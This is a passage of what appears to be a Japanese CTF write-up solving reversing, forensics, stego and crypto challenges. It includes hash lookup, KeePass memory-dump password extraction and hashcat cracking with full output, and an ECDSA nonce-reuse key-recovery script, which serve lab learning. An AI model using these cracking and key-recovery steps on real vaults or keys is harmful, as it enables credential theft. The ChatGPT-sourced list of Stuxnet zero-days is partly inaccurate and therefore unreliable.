_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 52) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 52) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 167, 0x7ffeedfc3ac0, 52) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 97) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 97) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 97) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 134, 0x7ffeedfc3ac0, 97) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 56) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 56) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 56) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 239, 0x7ffeedfc3ac0, 56) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 101) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 101) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 101) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 248, 0x7ffeedfc3ac0, 101) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 102) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 102) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 102) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 20, 0x7ffeedfc3ac0, 102) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 49) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 49) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 49) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 124, 0x7ffeedfc3ac0, 49) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 55) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 55) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 55) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 78, 0x7ffeedfc3ac0, 55) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 52) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 52) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 52) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 114, 0x7ffeedfc3ac0, 52) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 55) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 55) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 55) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 185, 0x7ffeedfc3ac0, 55) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 98) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 98) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 98) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 128, 0x7ffeedfc3ac0, 98) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 56) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 56) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 56) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 119, 0x7ffeedfc3ac0, 56) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 55) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 55) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 55) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 133, 0x7ffeedfc3ac0, 55) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 56) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 56) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 56) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 175, 0x7ffeedfc3ac0, 56) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 97) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 97) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 97) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 238, 0x7ffeedfc3ac0, 97) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 101) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 101) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 101) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 72, 0x7ffeedfc3ac0, 101) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 52) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 52) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 52) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 187, 0x7ffeedfc3ac0, 52) = 0x7ffeedfc3ac0
_ZNKSt7__cxx1118basic_stringstreamIcSt11char_traitsIcESaIcEE3strEv(0x7ffeedfc3d00, 0x7ffeedfc3ab0, 0x7ffeedfc3ab0, 98 <unfinished ...>
_Znwm(65) = 0x55f869ec2510
<... _ZNKSt7__cxx1118basic_stringstreamIcSt11char_traitsIcESaIcEE3strEv resumed> ) = 0x7ffeedfc3d00
_ZNSt7__cxx1118basic_stringstreamIcSt11char_traitsIcESaIcEED1Ev(0x7ffeedfc3ab0, 0x55f869ec2300, 64, 0x55f869ec2510) = 0x7f319b062758
memcmp("63f907ed0c04f2fe1936c0caca8cafd1"..., "ca978112ca1bbdcafac231b39a23dc4d"..., 64) = -45
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x55f84c5b5100, 0x55f84c5b3094, 0x55f84c5b3094, 99) = 0x55f84c5b5100
_ZNSolsEPFRSoS_E(0x55f84c5b5100, 0x7f319af40800, 0x7f319af40800, 1024You are wrong
) = 0x55f84c5b5100
_ZdlPvm(0x55f869ec2510, 65, 65, 0x55f869ec2510) = 0x55f869eb0010
_ZdlPvm(0x55f869ec22b0, 65, 65, 0x55f869ec22b0) = 0x55f869eb0010
+++ exited (status 0) +++
$ echo -n a | sha256sum
ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb -
memcmpの箇所を見てみると、どうやらsha256を63f907ed0c04f2fe1936c0caca8cafd1105216d91aab062dc8b99539d17e8849と比較しているようだ。
CrackStationで63f907ed0c04f2fe1936c0caca8cafd1105216d91aab062dc8b99539d17e8849をクラックすると、以下の文字列のハッシュであることがわかる。
p8a8s8s8w8o8r8d8
$ ./main0.exe p8a8s8s8w8o8r8d8
You are right! Your flag: grodno{cea48deb49d8e4dcaee47d1ee710c9ac}
grodno{cea48deb49d8e4dcaee47d1ee710c9ac}
Elven Knot (Reverse)
$ strings reverse | grep python
pyi-python-flag
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
6libpython3.10.so.1.0
この実行ファイルはPython3.10の環境でPythonコードをelf化したもののようだ。pycを抽出し、その処理のメインとなる部分をデコンパイルする。
$ python3 pyinstxtractor.py reverse
[+] Processing reverse
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 844705 bytes
[+] Found 9 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: reverse.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: reverse
You can now use a python decompiler on the pyc files within the extracted directory
https://pylingual.io/でデコンパイルする。
import time
from os import path
from typing import List
DUO = 35
str_array = 'str(UNO) + str(DUO) + str(TRES)'
class Student:
def __init__(self, name: str, grade: int, average_marks: float):
self.name = name
self.grade = grade
self.average_marks = average_marks
looks_like_secret = 'list(map(lambda x: str(int(x) ** 2), str_array))'
def __str__(self):
return f'Student {self.name} from {self.grade} grade with average mark: {self.average_marks}'
students: List[Student] = []
UNO = 124
def create_student():
name = input('Enter the student\'s name:\n')
grade = int(input('Enter the student\'s grade:\n'))
av_mark = float(input('Enter the student\'s average mark:\n'))
some_func = str('Try to use this: \n\n\n print(.join(secret variable)) and put that in grodno{}')
student = Student(name, grade, average_marks=av_mark)
students.append(student)
def list_students():
for student in students:
print(student)
TRES = 56
def save_students():
with open('students.txt', 'a') as f:
for student in students:
f.write(str(student))
f.write('\n')
while True:
time.sleep(2)
try:
choice = int(input('Menu:\n 1.Create a new student\n 2.List all students\n 3.View secret student\n 4.Save students to file\n 5.Exit\n'))
@choice
case 1:
create_student()
else:
case 2:
list_students()
else:
case 3:
print('Haha, do you really think it would be that easy? ( ͡° ͜ʖ ͡° ) (-_-) zzZ')
else:
case 4:
save_students()
else:
case 5:
pass
else:
if False:
pass
print('Looks like there is no matching menu option :(((')
except Exception as e:
print('Wrong input, try one more time :3')
ところどころ気になるコードがある。
DUO = 35
str_array = 'str(UNO) + str(DUO) + str(TRES)'
UNO = 124
TRES = 56
looks_like_secret = 'list(map(lambda x: str(int(x) ** 2), str_array))'
some_func = str('Try to use this: \n\n\n print(.join(secret variable)) and put that in grodno{}')
これを踏まえ、推測しながらフラグを構成する。
>>> DUO = 35
>>> UNO = 124
>>> TRES = 56
>>> str_array = str(UNO) + str(DUO) + str(TRES)
>>> looks_like_secret = list(map(lambda x: str(int(x) ** 2), str_array))
>>> ''.join(looks_like_secret)
'14169252536'
grodno{14169252536}
Equation Group (Forensics)
問題に答えていく。
1. Initial sandbox analysis of the file revealed components masquerading as Siemens WinCC/STEP 7 system files, a clear sign of malware.
What is the name of this infamous malware?
「Siemens WinCC/STEP 7 malware」で検索すると、以下であることがわかる。
Stuxnet
2. The malware has been identified as Stuxnet, which gained notoriety in 2010. To respond appropriately, it must be classified.
What is the primary behavioral type of this malware? (Answer: one word)
https://en.wikipedia.org/wiki/Stuxnetを見ると、以下であることがわかる。
worm
3. As Stuxnet is a worm, the first critical action is to isolate the infected computer to prevent network propagation. Detection at the sandbox analysis stage allowed the company to avert an incident.
Which country was Stuxnet designed to attack, specifically targeting its nuclear program?
先ほどのWikipediaから以下であることがわかる。
Iran
4. The investigation revealed that the Stuxnet rootkit component initially infected the system via a compromised USB flash drive.
Which critical Windows zero-day vulnerability (0-day) did the worm exploit for USB propagation? (Provide the vulnerability identifier in CVE-****-**** or MS**-*** format)
https://www.nca.gr.jp/info/stuxnet.htmlを見ると、以下であることがわかる。
CVE-2010-2568
5. Stuxnet was notorious for exploiting a record number (for its time) of unknown vulnerabilities (0-days).
How many unique zero-day vulnerabilities did the original version of Stuxnet exploit?
ChatGPTに聞いてみたら、以下の4つがあることがわかった。
CVE-2010-2568 – Windows Shortcut (.LNK) vulnerability
CVE-2010-2729 – Windows Win32k.sys privilege escalation
CVE-2010-2743 – Windows Task Scheduler privilege escalation
CVE-2008-4250 – Windows Server Service vulnerability (also known as MS08-067)
4
6. Based on its sophistication, targeted nature, and techniques used, which well-known APT group (Advanced Persistent Threat) is attributed to the creation of Stuxnet?
以下のページを見ると、グループ名がわかる。
https://blog.kaspersky.co.jp/mothership-unlocked-the-equation-apt/7883/
Equation group
7. The Equation Group is widely recognized by cybersecurity experts as being affiliated with the intelligence services of a specific nation-state, possessing access to unique resources and 0-day vulnerabilities.
Which country's intelligence service is most likely behind the Equation Group? (Answer format: Country;Intelligence Service)
先ほどのWikipediaから以下であることがわかる。
USA;NSA
8. In 2016, a hacking group calling itself ______________ leaked a massive trove of Equation Group's cyber weapons arsenal, including the EternalBlue exploit.
ChatGPTに聞いてみたら、次の答えだった。
The Shadow Brokers
9. The EternalBlue exploit, leaked from the Equation Group, targeted a vulnerability in the SMBv1 protocol (CVE-2017-0144). It became the foundation for devastating ransomware outbreaks like WannaCry and NotPetya.
Name what technique he used on the Mitre matrix.
ChatGPTに聞いてみたら、次の答えだった。
Exploitation of Remote Services
これらを答えていくと、フラグが表示された。
$ nc ctf.mf.grsu.by 9059
███████╗ ██████╗ ██╗ ██╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██████╗
██╔════╝██╔═══██╗██║ ██║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ██╔════╝ ██╔══██╗██╔═══██╗██║ ██║██╔══██╗
█████╗ ██║ ██║██║ ██║███████║ ██║ ██║██║ ██║██╔██╗ ██║ ██║ ███╗██████╔╝██║ ██║██║ ██║██████╔╝
██╔══╝ ██║▄▄ ██║██║ ██║██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ ██║ ██║██╔══██╗██║ ██║██║ ██║██╔═══╝
███████╗╚██████╔╝╚██████╔╝██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚██████╔╝██║ ██║╚██████╔╝╚██████╔╝██║
╚══════╝ ╚══▀▀═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
На ночном дежурстве в SOC-центре SIEM система получила предупреждение от песочницы об анализе файла с одного из компьютеров в инфраструктуре ICS (Industrial Control Systems).
Начальник назначил тебе, как стажёру, определить уровень угрозы. Это шанс продемонстрировать свои навыки в качестве SOC-аналитика.
SHA256SUM файла: f182a5492ca40d234330fa3b657ae3fbfd0655e18d5595c14f4f5efc743b8983.
В качестве одного из инструментов исследования рекомендуется использовать MITRE ATT&CK framework.
===============
During a night shift at the SOC center, the SIEM system received an alert from a sandbox analyzing a file from a computer within the ICS (Industrial Control Systems) infrastructure.
Your supervisor assigned you, as an intern, to assess the threat level. This is your chance to demonstrate your skills as a SOC analyst.
File SHA256SUM: f182a5492ca40d234330fa3b657ae3fbfd0655e18d5595c14f4f5efc743b8983.
It is recommended to use the MITRE ATT&CK framework as one of the investigation tools.
1. Краткий анализ файла в песочнице показал, что он содержит компоненты, замаскированные под системные файлы Siemens WinCC/STEP 7. Это явный признак вредоносного ПО.
Какое название носит этот известный вредоносный код?
1. Initial sandbox analysis of the file revealed components masquerading as Siemens WinCC/STEP 7 system files, a clear sign of malware.
What is the name of this infamous malware?
>Stuxnet
Правильно ! // Good answer !
2. Вредоносная программа идентифицирована как Stuxnet, который получил широкую известность в 2010 году. Для правильного реагирования на угрозу ее необходимо классифицировать.
К какому типу вредоносных программ (малвари) относится Stuxnet по своей основной поведенческой модели? (Ответ: одно слово)
2. The malware has been identified as Stuxnet, which gained notoriety in 2010. To respond appropriately, it must be classified.
What is the primary behavioral type of this malware? (Answer: one word)
>worm
Правильно ! // Good answer !
3. Поскольку Stuxnet является червем, первое критически важное действие — изолировать зараженный компьютер, чтобы предотвратить его распространение по сети. Обнаружение на этапе анализа в песочнице позволило компании избежать инцидента.
Какую страну атаковал Stuxnet, нанося ущерб ее ядерной программе?
3. As Stuxnet is a worm, the first critical action is to isolate the infected computer to prevent network propagation. Detection at the sandbox analysis stage allowed the company to avert an incident.
Which country was Stuxnet designed to attack, specifically targeting its nuclear program?
>Iran
Правильно ! // Good answer !
4. Расследование показало, что руткит-компонент Stuxnet первоначально попал на систему через зараженную USB-флешку.
Какую критическую уязвимость (0-day) в Windows использовал червь для распространения через USB? (Укажите идентификатор уязвимости в формате CVE-****-**** или MS**-***)
4. The investigation revealed that the Stuxnet rootkit component initially infected the system via a compromised USB flash drive.
Which critical Windows zero-day vulnerability (0-day) did the worm exploit for USB propagation? (Provide the vulnerability identifier in CVE-****-**** or MS**-*** format)
>CVE-2010-2568
Правильно ! // Good answer !
5. Stuxnet печально известен использованием рекордного для своего времени числа неизвестных уязвимостей (0-day).
Сколько уникальных 0-day уязвимостей эксплуатировала оригинальная версия Stuxnet?
5. Stuxnet was notorious for exploiting a record number (for its time) of unknown vulnerabilities (0-days).
How many unique zero-day vulnerabilities did the original version of Stuxnet exploit?
>4
Правильно ! // Good answer !
6. Исходя из сложности, целевого характера и использованных техник, какая известная APT-группа (Advanced Persistent Threat) связывается с созданием Stuxnet?
6. Based on its sophistication, targeted nature, and techniques used, which well-known APT group (Advanced Persistent Threat) is attributed to the creation of Stuxnet?
>Equation group
Правильно ! // Good answer !
7. Equation Group широко признана экспертами по кибербезопасности как группа, связанная со спецслужбами конкретного государства, обладающая доступом к уникальным ресурсам и 0-day уязвимостям.
Спецслужбы какой страны, скорее всего, стоят за деятельностью Equation Group? (Формат ответа: Страна;Спецслужба)
7. The Equation Group is widely recognized by cybersecurity experts as being affiliated with the intelligence services of a specific nation-state, possessing access to unique resources and 0-day vulnerabilities.
Which country's intelligence service is most likely behind the Equation Group? (Answer format: Country;Intelligence Service)
>USA;NSA
Правильно ! // Good answer !
8. В 2016 году хакерская группа, называвшая себя ______________, совершила масштабную утечку арсенала кибероружия Equation Group, включая эксплойт EternalBlue.
8. In 2016, a hacking group calling itself ______________ leaked a massive trove of Equation Group's cyber weapons arsenal, including the EternalBlue exploit.
>The Shadow Brokers
Правильно ! // Good answer !
9. Эксплойт EternalBlue, утекший от Equation Group, эксплуатировал уязвимость в протоколе SMBv1 (CVE-2017-0144). Он стал основой для разрушительных эпидемий вымогателей, таких как WannaCry и NotPetya.
Назовите какую технику по матрице Mitre он использовал.
9. The EternalBlue exploit, leaked from the Equation Group, targeted a vulnerability in the SMBv1 protocol (CVE-2017-0144). It became the foundation for devastating ransomware outbreaks like WannaCry and NotPetya.
Name what technique he used on the Mitre matrix.
>Exploitation of Remote Services
Правильно ! // Good answer !
grodno{3da1d0rwewyq0ef7we6we6q93f7ee1}
grodno{3da1d0rwewyq0ef7we6we6q93f7ee1}
Recovery password (Forensics)
KeePass.DMPと、Database.kdbxが添付されている。KeePass.DMPから辞書ファイルになるワードリストを取得して、クラックする。
このとき大量のワードリストになったので、パスワードの候補を絞って、ワードリストのサイズを小さくした。
$ keepass-dump-extractor KeePass.DMP -f all > wordlist.txt
$ keepass2john Database.kdbx > hash.txt
$ hashcat -m 13400 --username hash.txt wordlist.txt
$ cat wordlist.txt | grep _f0r_z3r0-d4y_HunT1Ng > wordlist_edited.txt
$ hashcat -m 13400 --username hash.txt wordlist_edited.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform
==================================================================================================================================================
* Device
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: wordlist_edited.txt
* Passwords.: 2660
* Bytes.....: 71440
* Keyspace..: 2660
* Runtime...: 1 sec
$keepass$*2*60000*0*4c2aa3628c92eb4236ece5b1fb0c64036703970d0330163636159c331e534f3d*233bf522e4ddbd00457411979ccc7bb26bc19ab3cff6cffc41cd2387f43f8730*64167f5bc4846d9c825628cda00b8d3e*d9109f2d7549ee4669e1d52fa603f58c9bc6b3afdd64cc7cd8dc947f97c5c230*16b51569a10bcfb74ecd28b36b28b43ad8bdc54b13bb187ca17e04cf82f71a3d:z3St_f0r_z3r0-d4y_HunT1Ng
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13400 (KeePass 1 (AES/Twofish) and KeePass 2 (AES))
Hash.Target......: $keepass$*2*60000*0*4c2aa3628c92eb4236ece5b1fb0c640...f71a3d
Time.Started.....: Thu Jul 3 16:39:22 2025 (5 secs)
Time.Estimated...: Thu Jul 3 16:39:27 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlist_edited.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2560/2660 (96.24%)
Rejected.........: 0/2560 (0.00%)
Restore.Point....: 2048/2660 (76.99%)
Restore.Sub.
Candidate.Engine.: Device Generator
Candidates.
Hardware.Mon.
Started: Thu Jul 3 16:39:20 2025
Stopped: Thu Jul 3 16:39:28 2025
Database.kdbxを以下のパスワードで開く。
z3St_f0r_z3r0-d4y_HunT1Ng
タイトル「Junior Crypto 2025」のパスワードを見ると、フラグが設定されていた。
grodno{T001_uP_0r_Dr00L_D0wn}
S = H * W ? (Forensics)
バイナリエディタでオフセット0x17のバイトを00から01にして高さを変更すると、画像にフラグが現れた。

grodno{0100101001010101001010}
Guitar melody (Stegano)
Audacityで開き、スペクトログラムを見る。さらにサンプリング周波数を調整すると、文字列っぽいものが見える。
上下反転すれば、文字列として読める。
M37R0_2033_R3DUX

grodno{M37R0_2033_R3DUX}
Big pik (Stegano)
モールス信号のようになっているので、https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlでデコードする。
THE LIFE AND ADVENTURES OF ROBINSON CRUSOE BY DANIEL DEFOE IS A NOVEL WRITTEN IN THE EARLY 18TH CENTURY THE BOOK CHRONICLES THE LIFE OF ROBINSON CRUSOE. A YOUNG MAN WHOSE ADVENTUROUS SPIRIT LEADS HIM TO DEFY HIS FATHER'S WISHES AND PURSUE A LIFE AT SEA. WHICH ULTIMATELY RESULTS IN A SERIES OF HARROWING MISFORTUNES. INCLUDING SHIPWRECK AND ISOLATION ON A DESERTED ISLAND THE OPENING OF THE NOVEL INTRODUCES ROBINSON CRUSOE'S EARLY LIFE. DETAILING HIS UPBRINGING IN IN GRODNO/4NDH1SYEARN1NGF0RADVENTURE/ DESPITE HIS FATHERS WARNINGS AGAINST SUCH A RECKLESS LIFESTYLE
grodno{4nd_h1s_yearn1ng_f0r_adventure}
Lonely Squirrel Blues (Stegano)
GIFアニメーションになっているので、Giamで分割する。
5つの画像ファイルになったので、1つ目からStegSolveで確認する。
Extract PreviewでRed 0のみチェックを入れると、以下の文字列が抽出できる。
part1:M5ZG6ZDON55US3S7ORUGKX3GNFSWYZC7N5TF62L:
2つ目以降も同様に確認する。
part2:OMZXXE3LBORUW63S7ONSWG5LSNF2HSLC7JRSWC4:
part3:3UL5JWSZ3ONFTGSY3BNZ2F6QTJORZV6KCMKNBCS:
part4:X3BNRTW64TJORUG2X3JONPWC3S7NFWXA33SORQW:
part5:45C7ORXXA2LDL5XWMX3ENFZWG5LTONUW63T5:
連結して、base32デコードする。
$ echo M5ZG6ZDON55US3S7ORUGKX3GNFSWYZC7N5TF62LOMZXXE3LBORUW63S7ONSWG5LSNF2HSLC7JRSWC43UL5JWSZ3ONFTGSY3BNZ2F6QTJORZV6KCMKNBCSX3BNRTW64TJORUG2X3JONPWC3S7NFWXA33SORQW45C7ORXXA2LDL5XWMX3ENFZWG5LTONUW63T5 | base32 -d
grodno{In_the_field_of_information_security,_Least_Significant_Bits_(LSB)_algorithm_is_an_important_topic_of_discussion}
grodno{In_the_field_of_information_security,_Least_Significant_Bits_(LSB)_algorithm_is_an_important_topic_of_discussion}
Signature ECDSA (Crypto)
同じkに対して署名しているので、以下のように式を変形し、kを求めることができる。
s1 = (pow(k, -1, n) * (h1 + r * d)) % n
s2 = (pow(k, -1, n) * (h2 + r * d)) % n
↓
s1 - s2 = (pow(k, -1, n) * (h1 - h2) % n
↓
k = (h1 - h2) * pow(s1 - s2, -1, n) % n
kがわかれば、逆算してdを求めることができる。
from ecdsa import SECP256k1
import hashlib
curve = SECP256k1
G = curve.generator
n = curve.order
r1 = 0xe37ce11f44951a60da61977e3aadb42c5705d31363d42b5988a8b0141cb2f50d
s1 = 0xdf88df0b8b3cc27eedddc4f3a1ecfb55e63c94739e003c1a56397ba261ba381d
h1 = 0x315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3
r2 = 0xe37ce11f44951a60da61977e3aadb42c5705d31363d42b5988a8b0141cb2f50d
s2 = 0x2291d4ab9e8b0c412d74fb4918f57580b5165f8732fd278e65c802ff8be86f61
